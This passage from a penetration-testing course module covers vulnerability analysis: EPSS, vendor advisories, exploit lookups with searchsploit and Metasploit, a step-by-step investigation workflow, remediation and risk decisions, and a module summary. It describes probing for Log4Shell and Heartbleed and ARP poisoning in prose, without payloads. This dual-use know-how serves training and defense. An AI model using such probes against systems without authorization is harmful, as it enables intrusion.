        print(f'Notes: {v[\"notes\"]}')
"

EPSS — Exploit Prediction Scoring System

URL: https://www.first.org/epss

Maintained by: FIRST (Forum of Incident Response and Security Teams) in partnership with threat intelligence contributors

Purpose: A machine learning-based system that predicts the probability that a CVE will be exploited in the next 30 days.

EPSS was developed to solve a specific problem: CVSS scores measure theoretical severity but have weak correlation with actual exploitation. A CVE with a CVSS score of 9.8 might have a very low probability of being exploited in practice — perhaps because the affected software is rarely deployed, or because exploitation requires conditions that are almost never present, or because no public exploit exists. Meanwhile, a CVE with a CVSS score of 6.5 might have a very high EPSS score — because it has a mature Metasploit module, affects widely-deployed software, and is already being actively used in attacks.

The EPSS model analyzes hundreds of signals to generate its daily score: the CVE's CVSS metrics, the type of weakness (CWE), whether the CVE is listed in threat intelligence feeds, whether public exploit code exists, whether it has Metasploit modules, whether it is discussed in offensive security tooling, and historical exploitation patterns for similar vulnerability types.

EPSS produces two values:

The score (0 to 1) represents the probability of exploitation activity in the next 30 days. A score of 0.97 means there is a 97% probability that this vulnerability will be observed in exploitation attempts in the next 30 days.

The percentile represents where this vulnerability ranks within the universe of all CVEs. A percentile of 0.99 means this vulnerability has a higher EPSS score than 99% of all CVEs. This context matters: even a seemingly low EPSS score of 0.05 might be in the 85th percentile, meaning it has a higher exploitation probability than 85% of all vulnerabilities.

The practical insight EPSS provides:

Research has shown that only about 2-5% of all published CVEs are actually exploited in the wild in any given period. Prioritizing remediation based purely on CVSS score means you are devoting resources to patching vulnerabilities that will likely never be exploited, while potentially missing lower-CVSS vulnerabilities that are actively being weaponized. EPSS helps distinguish between "this is theoretically severe" and "this is being actively attacked."

# Fetch EPSS score for a specific CVE
curl "https://api.first.org/data/v1/epss?cve=CVE-2021-44228"

# Fetch EPSS scores for multiple CVEs
curl "https://api.first.org/data/v1/epss?cve=CVE-2021-44228,CVE-2017-0144,CVE-2019-0708"

# Get CVEs with highest EPSS scores (top 100)
curl "https://api.first.org/data/v1/epss?order=!epss&limit=100"

# Get all CVEs with EPSS score above 0.9 (very high exploitation likelihood)
curl "https://api.first.org/data/v1/epss?epss-gt=0.9&limit=500"

Vendor Security Advisories

Every major software vendor publishes their own security advisories — formal documents describing vulnerabilities in their products, their severity, and the available remediation. These are some of the most authoritative and detailed vulnerability information sources available, because the vendor wrote the vulnerable code and knows it better than anyone.

Microsoft Security Response Center (MSRC): https://msrc.microsoft.com/update-guide

Published monthly on Patch Tuesday (second Tuesday of each month). Contains every vulnerability addressed in that month's updates, with CVSS scores, affected versions, and remediation guidance. The CVE details here are often more detailed than NVD — Microsoft frequently includes FAQs about specific exploitation scenarios, whether exploitation has been observed in the wild, and whether the vulnerability is publicly known.

Cisco Security Advisories: https://sec.cloudapps.cisco.com/security/center/publicationListing.x

Cisco publishes advisories in a tiered severity system (Critical, High, Medium, Low) and includes details specific to their product ecosystem. For any Cisco network device vulnerability found during a scan, the Cisco advisory is the authoritative source for the correct workaround or upgrade path.

Red Hat Security Advisories: https://access.redhat.com/security/security-updates

Red Hat's advisories are particularly valuable for understanding the impact of backported patches — Red Hat explicitly documents which backported fixes are included in each RHSA update, clarifying exactly which CVEs are addressed even when the version number has not changed.

Apache Security Advisories: https://httpd.apache.org/security/vulnerabilities_24.html

Direct from the Apache HTTP Server project — essential when investigating web server vulnerabilities.

Ubuntu Security Notices (USN): https://ubuntu.com/security/notices

Debian Security Advisories (DSA): https://www.debian.org/security

Both provide package-level patch information that explains exactly which CVEs are addressed in each security update.

The habit of consulting vendor advisories:

When a scanner reports a vulnerability in vendor software, the sequence should be: NVD for the authoritative CVSS analysis, then the vendor advisory for the specific remediation path. The vendor advisory tells you the exact version to upgrade to, whether a workaround exists, and whether the vulnerability has been exploited in the wild (vendors sometimes report this in their advisories before it appears elsewhere).

PoC-in-GitHub and Research Resources

The security research community publishes proof-of-concept code on GitHub almost immediately after major vulnerability disclosures. This code varies enormously in quality and intent — some is academic research, some is functional exploit code intended for authorized testing, and some is weaponized malware. A penetration tester needs to understand this ecosystem.

GitHub vulnerability monitoring:

# Search GitHub for PoC code for a specific CVE
# This can be done via the GitHub API
curl "https://api.github.com/search/repositories?q=CVE-2021-44228&sort=stars"

# GitHub has also introduced a Security Advisories database
# accessible via: https://github.com/advisories
# This is particularly valuable for open-source ecosystem vulnerabilities

Security research blogs worth following:

Google Project Zero (https://googleprojectzero.blogspot.com) publishes deep technical analysis of zero-day vulnerabilities discovered by Google's elite research team. Their write-ups are technically demanding but represent the state of the art in vulnerability research.

Qualys ThreatLabs (https://blog.qualys.com/vulnerabilities-threat-research) publishes rapid analysis of newly disclosed vulnerabilities, often within hours of public disclosure.

Tenable Research (https://www.tenable.com/blog) publishes both vulnerability analysis and scanner plugin development context — useful for understanding exactly what the scanner is checking.

MITRE ATT&CK Framework

URL: https://attack.mitre.org

Maintained by: MITRE Corporation

Purpose: A knowledge base of adversary tactics, techniques, and procedures (TTPs) derived from real-world observations of attacker behavior.

ATT&CK is different from the CVE/CWE ecosystem in a fundamental way: while CVE describes specific vulnerabilities and CWE describes weakness classes, ATT&CK describes what attackers do with vulnerabilities — the actions, movements, and techniques observed in real intrusions.

ATT&CK organizes attacker behavior into 14 Tactics (the high-level goals like Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact). Each tactic contains multiple Techniques describing specific methods attackers use to achieve that goal.

For vulnerability analysis, ATT&CK provides context. When you find a vulnerability, ATT&CK helps you understand which ATT&CK techniques it enables. EternalBlue (CVE-2017-0144) maps to T1210 (Exploitation of Remote Services) under Lateral Movement — understanding this tells you that finding EternalBlue not just on externally exposed systems but on internal Windows hosts is critical, because it enables attacker lateral movement across the internal network.

MITRE D3FEND: The defensive counterpart to ATT&CK, MITRE D3FEND (https://d3fend.mitre.org) maps defensive countermeasures to ATT&CK techniques. For each ATT&CK technique an attacker might use to exploit a vulnerability, D3FEND identifies what defensive controls (network segmentation, authentication hardening, endpoint monitoring) would detect or prevent it.

Threat Intelligence Platforms — Commercial and Open Source

Beyond the standard databases, commercial and open-source threat intelligence platforms provide enriched, real-time vulnerability intelligence that integrates multiple data sources.

VirusTotal Intelligence: Beyond its malware scanning function, VirusTotal maintains a large dataset of vulnerability-related intelligence — which malware families exploit which CVEs, which threat actor groups are associated with which vulnerabilities, and how widely a vulnerability is being exploited.

Shodan CVE Search: Shodan maintains data on vulnerable internet-exposed systems and can show you how many internet-facing hosts are running versions vulnerable to specific CVEs. This helps contextualize findings: finding Log4Shell on an internal server is serious, but knowing that 100,000 internet-facing servers are also vulnerable helps communicate the broader threat landscape.

GreyNoise: Aggregates and analyzes internet-wide scanner activity to distinguish between mass exploitation (attackers scanning everything) and targeted attacks. When you see a GreyNoise tag on a CVE indicating mass scanning, it means opportunistic attackers are already actively probing for this vulnerability at internet scale.

Recorded Future, Mandiant Advantage, CrowdStrike Falcon Intelligence: Commercial threat intelligence platforms that provide attribution, campaign tracking, and deeper analysis of which threat actor groups are using which vulnerabilities. Used in enterprise security operations and red team engagements that require threat-actor-specific context.

3.4.3 Investigating Vulnerability Information — Professional Workflow

The Vulnerability Investigation Process

When a scanner reports a finding, the professional investigation process follows a consistent sequence that ensures every significant finding is fully understood before any action is taken.

Step 1: Extract the precise version information

The scanner's finding includes the CVE identifier and usually the version that triggered the finding. Start by confirming: is the version information accurate? What is the exact version of the software running, and how was it determined?

For a web server, confirm the version via multiple methods: the HTTP Server header, the page source (some CMSes disclose versions in meta tags), version-specific behavior fingerprinting (some features only appear in specific versions), and if you have system access, the package manager:

# Linux: Check installed package version
dpkg -l apache2           # Debian/Ubuntu
rpm -qa | grep httpd      # Red Hat/CentOS
apt-cache policy apache2  # Ubuntu: shows installed and candidate versions

# Check for backported patches specifically
apt-cache show apache2 | grep -i changelog
# Or look at the full changelog
zcat /usr/share/doc/apache2/changelog.Debian.gz | head -50

Step 2: Look up the CVE in NVD

Go to https://nvd.nist.gov/vuln/detail/[CVE-ID] and read the complete record. Note the CVSS vector string (not just the score), the CWE classification, and all the reference links. If the CVSS vector says PR:H (Privileges Required: High), the vulnerability requires administrator access to exploit — this is a critical detail that changes the risk calculation.

Step 3: Check the vendor advisory

Find the official vendor security advisory for this CVE. The vendor advisory is the authoritative statement on: which exact versions are affected, whether the vulnerability has been exploited in the wild, what the remediation is (specific version to upgrade to), and whether any workarounds exist.

Step 4: Check CISA KEV

Is this CVE in the CISA Known Exploited Vulnerabilities catalog? If yes, there is confirmed evidence of active exploitation — this finding gets elevated priority regardless of CVSS score.

Step 5: Check EPSS

What is the EPSS score? A high EPSS score (particularly above 0.5) combined with a KEV listing is the strongest possible signal for immediate remediation. A low EPSS score (below 0.1) on a high-CVSS vulnerability suggests it remains theoretical — still worth addressing but with less urgency.

Step 6: Check Exploit-DB and Metasploit

# Check for public exploits
searchsploit CVE-2021-44228
searchsploit -j CVE-2021-44228  # JSON output

# Check Metasploit
msfconsole -q -x "search CVE-2021-44228; exit"

If a Metasploit module exists with an "Excellent" or "Great" reliability rating, exploitation is accessible to anyone with basic penetration testing skills.

Step 7: Verify the finding manually if possible

Depending on the engagement scope and the type of finding, attempt to verify the vulnerability manually. For a Heartbleed finding, send the crafted TLS heartbeat probe and observe the response. For a Log4Shell finding, send a JNDI lookup probe and monitor your callback server for a DNS request. For an EternalBlue finding, use the Metasploit smb-vuln-ms17-010 scanner auxiliary module (not the exploit).

Manual verification converts a potential finding into a confirmed finding, which is a fundamental difference in a penetration test report.

Step 8: Document everything

Every step of this investigation should be documented: what you found, what sources you consulted, what evidence you gathered, what you concluded, and whether the finding is confirmed or suspected. This documentation is the foundation of your report.

A Practical Investigation Example

Suppose your OpenVAS scan reports this finding on host 10.10.10.50:

"OpenSSH 7.4 – Username Enumeration (CVE-2018-15919)" — CVSS 5.3 — Medium

Here is how the investigation proceeds:

First, you look up CVE-2018-15919 in NVD. The vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — network exploitable, low complexity, no privileges or user interaction required, but only low confidentiality impact with no integrity or availability impact. Score: 5.3. The CWE is CWE-203 (Observable Discrepancy) — the server responds differently to valid vs. invalid usernames during authentication attempts.

Second, you check whether this host is publicly accessible. It is SSH on an internal management server, reachable only from the management VLAN. An external attacker cannot reach it.

Third, you check CISA KEV. CVE-2018-15919 is not in the catalog.

Fourth, you check EPSS. Score: 0.002 (0.2% exploitation probability). This is low.

Fifth, you check Exploit-DB. There is a public PoC demonstrating username enumeration. There is no Metasploit module.

Your analysis conclusion: This is a real vulnerability. However, the network location (internal management VLAN only) limits the attack surface dramatically. An attacker would need to be on the management VLAN to exploit it, and by that point they likely have more impactful attack paths available. It is a valid Medium finding — it enables username enumeration for credential attacks against SSH — but it is not a priority remediation target compared to the Critical findings elsewhere in the assessment.

This analysis takes perhaps ten minutes. The conclusion is meaningfully different from "CVSS 5.3 → Medium → patch next quarter" because it incorporates context the scanner cannot know.

3.4.4 How to Deal with a Vulnerability — The Full Decision Framework

The Four Responses to a Confirmed Vulnerability

When a vulnerability has been confirmed and fully analyzed, there are exactly four ways an organization can respond. Every vulnerability that is not addressed by patching falls into one of the other three categories — and all four require explicit documentation and owner accountability.

Understanding these four options is fundamental to professional vulnerability management and penetration testing reporting. Your recommendations to clients must acknowledge that patching is not always immediately possible and guide them through the complete decision framework.

Response 1: Remediation (Patching and Configuration Fixes)

Remediation means eliminating the vulnerability. The primary form is patching — applying the vendor-released software update that fixes the vulnerability. But remediation also includes configuration changes that remove the vulnerable condition without requiring a software update.

Software patching:

Patching sounds simple in principle. In practice, it involves multiple steps that cannot be skipped without risking production disruption:

Testing before production deployment is non-negotiable for any system with business-critical dependencies. A patch that breaks application compatibility creates its own incident. The test environment should match production as closely as possible — same OS version, same application version, same dependent libraries. Apply the patch to the test environment first, run the application's full test suite, confirm nothing breaks, and only then proceed to production.

Patch deployment process in a managed enterprise environment goes through a formal change management workflow: change request, technical review, approval, scheduled maintenance window, deployment, rollback plan, and post-deployment verification. A penetration test report that recommends patching without acknowledging this process is not providing actionable guidance — it is providing an aspiration.

Emergency patching for Critical/KEV vulnerabilities compresses this timeline. An organization's security policy should define an expedited patching process for Critical vulnerabilities — perhaps a 48-72 hour process that skips some normal change management bureaucracy while maintaining essential safeguards. The default patch management SLA (which might be "30 days for critical") is not appropriate for a vulnerability being actively exploited in the wild.

Configuration-based remediation:

Some vulnerabilities can be addressed without patching, by reconfiguring the service to eliminate the vulnerable behavior:

Disabling a vulnerable feature (SSL 2.0, TLS 1.0, SNMP v1, anonymous LDAP binding, FTP, Telnet — none of these need to be running in a secure environment).

Restricting network access so the vulnerable service cannot be reached by unauthorized parties (firewall rules, network segmentation).

Removing an unnecessary service entirely — if a service is not needed, removing it is better than patching it.

Enabling authentication on a service that was running without it.

The configuration remediation advantage: These changes can often be implemented immediately without waiting for a vendor patch or going through the full patch testing cycle. When a critical vulnerability has no available patch (zero-day scenario) or when patching would break critical functionality, configuration changes may be the fastest available remediation path.

Response 2: Mitigation (Compensating Controls)

Mitigation does not eliminate the vulnerability but reduces the likelihood or impact of exploitation. Compensating controls are the mitigations implemented when immediate remediation is not possible.

Common compensating controls:

Network segmentation and firewall rules: If a vulnerable service cannot be immediately patched, restrict network access so only authorized systems can reach it. A vulnerable database server that can only be reached from application servers — not from the internet or from end-user workstations — has a dramatically reduced exposure even if the database software itself remains unpatched.

Web Application Firewalls (WAF): A WAF can detect and block exploit payloads before they reach a vulnerable application. When a zero-day web application vulnerability is disclosed and no patch is available, vendors often publish WAF rules as temporary protection while the patch is developed and tested. This is not a permanent solution — WAF rules can be bypassed — but it buys time.

Intrusion Detection and Prevention Systems (IDS/IPS): If exploitation of a vulnerability produces distinctive network signatures, an IDS/IPS with updated rules can detect and block exploitation attempts. The limitation is that sophisticated attackers modify their exploit code specifically to evade IDS signatures.

Disabling specific features without full patching: Some vulnerabilities only affect specific features or configurations. If the vulnerable feature is not needed, disabling it eliminates the attack vector without requiring the full software update.

Enhanced monitoring: When a vulnerability cannot be immediately patched and compensating controls are limited, increasing monitoring around the vulnerable asset provides earlier detection of exploitation. This does not prevent the attack but reduces the response time — in security, detection speed is a meaningful security metric.

The important limitation of compensating controls: They are temporary and partial. Every organization that implements a compensating control instead of patching must document:

The vulnerability being mitigated
The compensating control implemented
The residual risk that remains
The timeline for actual remediation
The person accountable for driving remediation to completion

Without this documentation and accountability, compensating controls become indefinite deferrals — and deferred vulnerabilities eventually become breach vectors.

Response 3: Risk Acceptance

Risk acceptance means explicitly deciding not to remediate a vulnerability and formally accepting the residual risk. This is a legitimate business decision in specific circumstances, but it must be explicit, documented, and authorized at an appropriate level of the organization.

When risk acceptance is appropriate:

End-of-life systems scheduled for retirement: If a system with a critical vulnerability is scheduled to be decommissioned in 30 days, the business case for emergency patching is weak. The remediation effort and risk of production disruption from patching may be greater than the risk of exploitation during the 30-day retirement period — particularly if compensating network controls restrict access.

Cost-prohibitive remediation: Occasionally the remediation pathway for a vulnerability is technically complex, has a high risk of breaking critical functionality, or requires significant architectural changes that cannot be implemented quickly. If the business cost of remediation exceeds the business risk of the vulnerability, risk acceptance may be appropriate — but this decision must be made by senior leadership with clear visibility into the risks they are accepting.

Very low EPSS and no realistic attack path: A vulnerability in an internal system with no realistic external attack path, a very low EPSS score, and no known exploitation in the wild may be appropriate for risk acceptance with compensating controls. This is not a justification for laziness — it is a proportionality calculation.

What risk acceptance is NOT:

Risk acceptance is not the same as ignoring a finding. The distinction is documentation and authorization:

An ignored finding: nobody documented it, nobody decided to accept the risk, nobody is monitoring it, nobody knows whether it was ever addressed.
A risk-accepted finding: documented in the risk register, formally approved by the CISO or a designated risk authority, compensating controls identified and implemented, monitoring established, and a review date set to reassess whether the accepted risk level remains appropriate.

In PCI DSS environments, risk acceptance for findings in the Cardholder Data Environment requires formal documentation and may require QSA review. In HIPAA environments, risk acceptance for ePHI-related vulnerabilities must be part of the formal risk analysis and risk management plan.

Response 4: Transfer (Risk Transfer)

Risk transfer moves the financial consequence of a vulnerability's exploitation to a third party — typically through cybersecurity insurance (cyber liability insurance). The vulnerability itself is not eliminated, but if exploitation results in a breach with financial consequences (incident response costs, notification costs, regulatory fines, business interruption), the insurance policy covers those costs up to the policy limit.

Risk transfer is a legitimate part of a comprehensive risk management program, but it has important limitations in the context of vulnerability management:

Cyber insurance underwriters increasingly require organizations to demonstrate baseline security hygiene before issuing policies. Unpatched Critical and High vulnerabilities — particularly KEV-listed ones — may result in policy denial or exclusion clauses. If you suffer a breach through a KEV-listed vulnerability that you knew about and did not patch, many cyber insurance policies will not pay out.

Risk transfer does not protect reputation. The financial cost of a breach may be covered by insurance, but the reputational damage, customer trust erosion, and regulatory scrutiny that follows a publicly disclosed breach cannot be transferred.

Risk transfer does not stop the attack. The breach still occurs, customer data is still compromised, operations are still disrupted — insurance covers the cleanup costs after the fact, not the harm caused during the incident.

In the context of a penetration test report, risk transfer is rarely a recommendation for specific technical vulnerabilities. It is a strategic-level recommendation for the overall security program — "we recommend ensuring your cyber liability insurance policy covers incidents arising from vulnerabilities in externally-accessible systems."

The Prioritization Matrix — Making Decisions Under Pressure

In a real organization, there are always more vulnerabilities than there are resources to remediate them. A mature vulnerability management program needs a principled way to decide which vulnerabilities get resources first when everything cannot be patched simultaneously.

The professional prioritization framework combines four dimensions:

Severity (from CVSS): How bad is the vulnerability in the theoretical worst case?

Exploitation likelihood (from EPSS + KEV + Exploit availability): How likely is this vulnerability to be actually exploited?

Asset criticality: How important is the affected system to business operations? A vulnerability in the payment processing system demands more urgent attention than the same vulnerability in an employee blog.

Exposure: Is the affected service publicly accessible from the internet? Or is it accessible only internally, or only from specific management networks?

These four dimensions create a prioritization matrix. The highest-priority vulnerabilities are those that score high on all four: Critical CVSS, high EPSS, on a business-critical system, and internet-facing. The lowest-priority are those that score low on all four: Low CVSS, very low EPSS, on a non-critical system, with no external exposure.

Priority Level	Criteria	Typical Response Time
Immediate	Critical/High CVSS + KEV listed + internet-facing	24–72 hours
Urgent	Critical CVSS + EPSS > 0.5 + business-critical asset	7 days
High	High CVSS + exploit available + production system	14 days
Standard	Medium–High CVSS + limited exposure	30 days
Planned	Low–Medium CVSS + internal only + low EPSS	Next maintenance cycle
Accept/Monitor	Low CVSS + very low EPSS + non-critical asset	Risk acceptance with monitoring

Communicating Vulnerability Risk to Non-Technical Stakeholders

One of the most practically important skills in professional cybersecurity — and one that is rarely taught directly — is translating technical vulnerability findings into business language that executive and management audiences can understand and act on.

A CISO or CEO does not need to understand what AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H means. They need to understand the business answer to three questions: What is at risk? What happens if we do not fix this? What does fixing it require?

Technical finding: CVE-2021-44228 (Log4Shell) detected on the public-facing customer portal. CVSS 10.0. CISA KEV listed. EPSS 0.97. Metasploit module available with Excellent reliability.

Executive translation: "We discovered a critical vulnerability in the software running our customer portal. This vulnerability requires no password or login — any person with internet access can use it to gain complete control of the server. It is actively being used in attacks against organizations worldwide right now. The fix is a software update that our team can deploy within 24 hours. The risk of not patching immediately is complete compromise of the customer portal server, potentially including customer data exposure and ransomware deployment."

This translation requires the technical professional to understand not just the vulnerability itself but the business context: what data is on the affected server, what operations depend on it, what regulatory consequences would follow a breach, and what the remediation process actually involves in operational terms.

Verification and Retesting — Closing the Loop

After remediation is implemented, the vulnerability lifecycle is not complete until the fix has been verified. Verification involves:

Rescanning with the same tools that originally detected the finding. If the scan now comes back clean, the automated check confirms the remediation was applied. This is necessary but not sufficient — scanner checks are not infallible.

Manual verification confirms the vulnerability can no longer be exploited using the same technique that would have been used to exploit it. For an EternalBlue finding, this means sending the specific SMB negotiation sequence that triggers the vulnerability and confirming the response indicates a patched system. For a Heartbleed finding, this means sending the malformed heartbeat and confirming the server does not return excess data.

Evidence documentation for compliance purposes records what the vulnerability was, when it was discovered, what remediation was implemented, when it was implemented, and how verification was performed. This audit trail is required for PCI DSS, HIPAA, SOC 2, and most other compliance frameworks.

In a penetration testing engagement context, this becomes the retest — a follow-up engagement specifically to verify that the highest-priority findings have been effectively remediated. A retest finding that confirms a critical vulnerability was patched correctly is valuable positive evidence. A retest finding that the critical vulnerability was supposedly patched but is still exploitable is one of the most important findings a penetration test can produce.

3.5 Module 3 Summary — What You Have Learned and Why It Matters

3.5.1 What You Learned in Module 3

Module 3 — Information Gathering and Vulnerability Scanning — built the complete intelligence-gathering and vulnerability discovery capability that forms the technical foundation of every penetration testing engagement and vulnerability assessment.

From Section 3.1 — Performing Passive Reconnaissance:

You learned that the reconnaissance phase can be divided into two fundamentally different approaches based on whether they interact with the target's systems. Passive reconnaissance collects information from public and third-party sources without generating any traffic to the target, making it legally safe before authorization is in place and undetectable by any security monitoring the target has deployed.

You learned the OSINT methodology — that professional intelligence gathering follows the intelligence cycle (planning, collection, processing, analysis, dissemination, and feedback) and that the pivot model transforms every discovered data point into additional intelligence. Starting with only an organization name, a skilled analyst can map the complete external attack surface without touching a single target system.

You learned to extract intelligence from DNS records at a depth that most practitioners miss. A single DNS zone can reveal the email provider, cloud infrastructure, subdomain inventory, administrator email addresses, third-party service integrations, email security posture (through DMARC policy), and CA authorization policies — all before the first probe reaches a target system.

You learned the OSINT tool ecosystem: OSINT Framework as the structured methodology map, recon-ng as the professional modular reconnaissance platform, SpiderFoot as the automated multi-source intelligence aggregator, Shodan as the Internet-connected device search engine, and the complete breach intelligence stack from HaveIBeenPwned through specialized tools like WhatBreach, PwnDB, and Buster.

You learned that SSL certificates are intelligence sources — that the Subject Alternative Names in a certificate can reveal an organization's entire subdomain inventory, and that Certificate Transparency logs provide historical certificate data revealing infrastructure evolution over years.

You learned social media intelligence gathering at a professional level — that LinkedIn job listings may be the single richest source of technology stack intelligence, that employee profiles reveal specific versions of technologies in use, and that this intelligence enables precisely targeted technical attacks and highly credible social engineering campaigns.

From Section 3.2 — Performing Active Reconnaissance:

You learned that active reconnaissance begins the moment packets are sent to a target system — that every active technique generates log entries, potentially triggers alerts, and requires explicit authorization before beginning.

You learned Nmap not as a tool but as a protocol manipulation framework. You understood each scan type from first principles: why a SYN scan is "half-open," why FIN/NULL/Xmas scans do not work against Windows, what the ACK scan actually measures (firewall rules, not port states), and why the UDP scan is simultaneously the most important and most technically challenging scan type.

You learned that timing options are not just about speed — they are a stealth/speed trade-off with direct implications for detection avoidance, and that -T0 (one probe every five minutes) completely evades time-based IDS correlation while making a full scan take days.

You learned enumeration as the discipline of extracting service-specific intelligence from discovered open ports: SNMP enumeration as a potential single-query network topology disclosure, SMB enumeration revealing user accounts and password policy, LDAP enumeration mapping Active Directory structure, and web service enumeration establishing the foundation for application-layer testing.

You learned Scapy as the framework for understanding network protocols at the byte level and constructing custom packets for situations where standard tools cannot provide the precise interaction needed. You understood that Scapy's power comes from removing the abstraction layers between the operator and the network protocol itself.

You learned network eavesdropping — that ARP poisoning enables traffic interception on switched networks by poisoning the Layer 2 address resolution tables of communicating hosts, that unencrypted protocols including HTTP, FTP, Telnet, and SNMPv1/v2 pass credentials in plaintext visible to any positioned observer, and that Wireshark's display filter language enables precise extraction of relevant packets from millions of captured frames.

From Section 3.3 — Understanding the Art of Performing Vulnerability Scans:

You learned the fundamental distinction between vulnerability scanning (automated, broad, reports known weaknesses) and penetration testing (manual, targeted, proves real-world exploitability and business impact). This distinction is not academic — it determines what clients should expect from each type of engagement and what questions each answers.

You learned how vulnerability scanners work mechanically: discovery and asset inventory, fingerprinting and version detection, vulnerability checks via plugins and NVTs, and scoring and reporting using CVSS. Understanding this architecture enables intelligent tool use — knowing why authenticated scans produce better results, why version-matching leads to false positives, and why keeping plugin databases current is not optional.

You learned the CVE and CVSS systems as a professional language. You can now read a CVSS vector string and understand exactly what it communicates: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H is the full severity picture of Log4Shell, encoding not just the score but the attack vector, complexity, authentication requirements, scope impact, and CIA consequences.

You learned the professional vulnerability scanning tool ecosystem: Nessus as the commercial standard, OpenVAS/GVM as the professional-grade free alternative, Nuclei as the modern template-based scanner excelling at web application and API vulnerability discovery, and Nikto as the fast web server configuration scanner.

You learned the seven critical challenges of vulnerability scanning: false positives (the scanner cried wolf), false negatives (the scanner missed the elephant), production system impact, scope and coverage gaps, database currency requirements, and the authenticated versus unauthenticated trade-off. These challenges explain why scanner output requires human analysis and why penetration testing remains irreplaceable even for organizations with mature vulnerability scanning programs.

From Section 3.4 — How to Analyze Vulnerability Scan Results:

You learned the professional intelligence source ecosystem: NVD for authoritative CVSS analysis, MITRE CVE as the source of record, CWE for root cause classification, Exploit-DB for public exploit availability, Metasploit for penetration-testing-ready modules, CISA KEV for confirmed real-world exploitation evidence, and EPSS for machine-learning-based exploitation probability prediction.

You learned that CVSS scores and EPSS scores answer different questions. CVSS asks "how bad is this vulnerability in the theoretical worst case?" EPSS asks "what is the probability this vulnerability will actually be exploited in the next 30 days?" Only about 2-5% of published CVEs are exploited in practice — prioritizing remediation based on CVSS alone means devoting resources to vulnerabilities that will likely never be exploited while potentially deprioritizing actively weaponized lower-scoring vulnerabilities.

You learned the complete vulnerability investigation workflow: version verification, NVD lookup, vendor advisory consultation, CISA KEV check, EPSS assessment, Exploit-DB and Metasploit check, manual verification, and documentation. This workflow transforms scanner output from raw data into confirmed intelligence.

You learned the four responses to a confirmed vulnerability — remediation, mitigation, risk acceptance, and risk transfer — and the professional standard for each. You learned that risk acceptance is not the same as ignoring a finding, that compensating controls require explicit documentation and accountability, and that the remediation verification loop (rescan + manual verification + documentation) is what closes the vulnerability lifecycle.

3.5.2 How These Skills Connect to the Rest of Your Career

The skills built in Module 3 are not just tools for passing a certification exam. They are the practical core of what security professionals do every day across multiple roles.

As a penetration tester, everything in Module 3 happens before you write a single exploit. Your success rate in the exploitation phase is a direct function of how thoroughly and accurately you completed the reconnaissance and scanning phases. The best penetration testers spend more time on recon than on exploitation — because thorough recon means precise, efficient, high-confidence exploitation rather than random probing.

As a security analyst in a SOC or vulnerability management team, you use these same intelligence sources daily. CISA KEV alerts drive emergency patching decisions. EPSS scores inform prioritization when the queue of scanner findings exceeds the remediation capacity. Vendor advisories determine the accurate remediation path. The analytical framework for distinguishing real findings from false positives is the foundation of an effective vulnerability management program.

As a red team operator, passive reconnaissance capabilities determine how much intelligence you can gather without detection. The ability to identify technology stacks, subdomains, email infrastructure, and employee details from entirely public sources, before making any contact with the target, is one of the most valuable capabilities in advanced threat simulation.

As a security engineer or architect, understanding how vulnerabilities are discovered, categorized, and exploited informs defensive architecture decisions. Why network segmentation limits lateral movement. Why patching timelines need to be aligned with EPSS scores and KEV listings rather than quarterly maintenance cycles. Why authenticated scanning is worth the credential management overhead. These are decisions made better by people who understand the attacker perspective.

As a compliance professional or GRC analyst, the vulnerability management framework — formal risk acceptance, compensating control documentation, remediation timelines tied to CVSS severity — maps directly to what PCI DSS, HIPAA, SOC 2, and ISO 27001 require. The analytical vocabulary (CVSS, EPSS, CVE, KEV) is the language that technical findings must be translated into for compliance documentation.

3.5.3 Module 3 Key Terms Reference

The following terms were covered in Module 3 and should be part of your professional vocabulary:

Active Reconnaissance — The phase of information gathering that directly interacts with target systems, generating network traffic and potentially triggering security alerts. Requires authorization before beginning.

ARP Poisoning — A technique that sends fake ARP replies to corrupt the ARP caches of communicating hosts, positioning the attacker as a man-in-the-middle who can capture and forward traffic between them.

Banner Grabbing — The practice of connecting to a network service to read its identification string, which often reveals software type, version, and operating system information.

CISA KEV (Known Exploited Vulnerabilities Catalog) — The U.S. government's catalog of CVEs confirmed to be actively exploited in the wild. The strongest available remediation prioritization signal.

Compensating Control — A security control implemented to reduce the risk of a vulnerability when direct remediation is not immediately possible.

CVE (Common Vulnerabilities and Exposures) — The global standard for identifying and naming specific security vulnerabilities. Format: CVE-[year]-[sequence].

CVSS (Common Vulnerability Scoring System) — The framework for assigning standardized severity scores to vulnerabilities, using Base, Temporal, and Environmental score groups.

CWE (Common Weakness Enumeration) — A classification system for the underlying code-level weakness types that cause vulnerabilities.

DNS Zone Transfer (AXFR) — A DNS mechanism that copies the complete zone file from a primary to a secondary DNS server. Misconfigured servers allow zone transfers to any requestor, potentially revealing the entire DNS namespace.

Enumeration — The process of extracting detailed, service-specific information from discovered open ports, beyond the port state and version information provided by scanning.

EPSS (Exploit Prediction Scoring System) — A machine learning model that predicts the probability a CVE will be exploited within the next 30 days, providing a real-world exploitation likelihood signal distinct from CVSS severity scores.

False Negative — When a vulnerability scanner fails to detect a vulnerability that actually exists. More dangerous than false positives because it creates false confidence.

False Positive — When a vulnerability scanner reports a vulnerability that does not actually exist or is not exploitable in the current environment.

Host Discovery — The process of determining which IP addresses in a target range have live hosts, before proceeding to port scanning. Nmap's -sn flag performs host discovery without port scanning.

MITRE ATT&CK — A knowledge base of adversary tactics, techniques, and procedures (TTPs) derived from real-world intrusion observations, used to understand what attackers do with vulnerabilities after exploitation.

NVD (National Vulnerability Database) — NIST's enrichment layer on the CVE system, providing CVSS scores, CWE classifications, CPE affected product data, and reference links for every CVE.

OSINT (Open-Source Intelligence) — Intelligence gathered from publicly available sources without direct interaction with the target's systems.

Passive Reconnaissance — Information gathering from public sources that generates zero traffic to the target, leaving no traces in target logs.

Pivoting — The technique of using one piece of intelligence to discover additional intelligence, systematically expanding the picture of the target's attack surface.

Port Scanning — The process of probing a range of port numbers on one or more hosts to determine which ports are open, closed, or filtered.

Risk Acceptance — The formal organizational decision to acknowledge a vulnerability and accept the residual risk without remediation, with explicit documentation and executive authorization.

Shodan — A search engine for internet-connected devices that indexes service banners from every accessible port on every IP address, enabling passive discovery of internet-facing systems by organization, technology, or vulnerability.

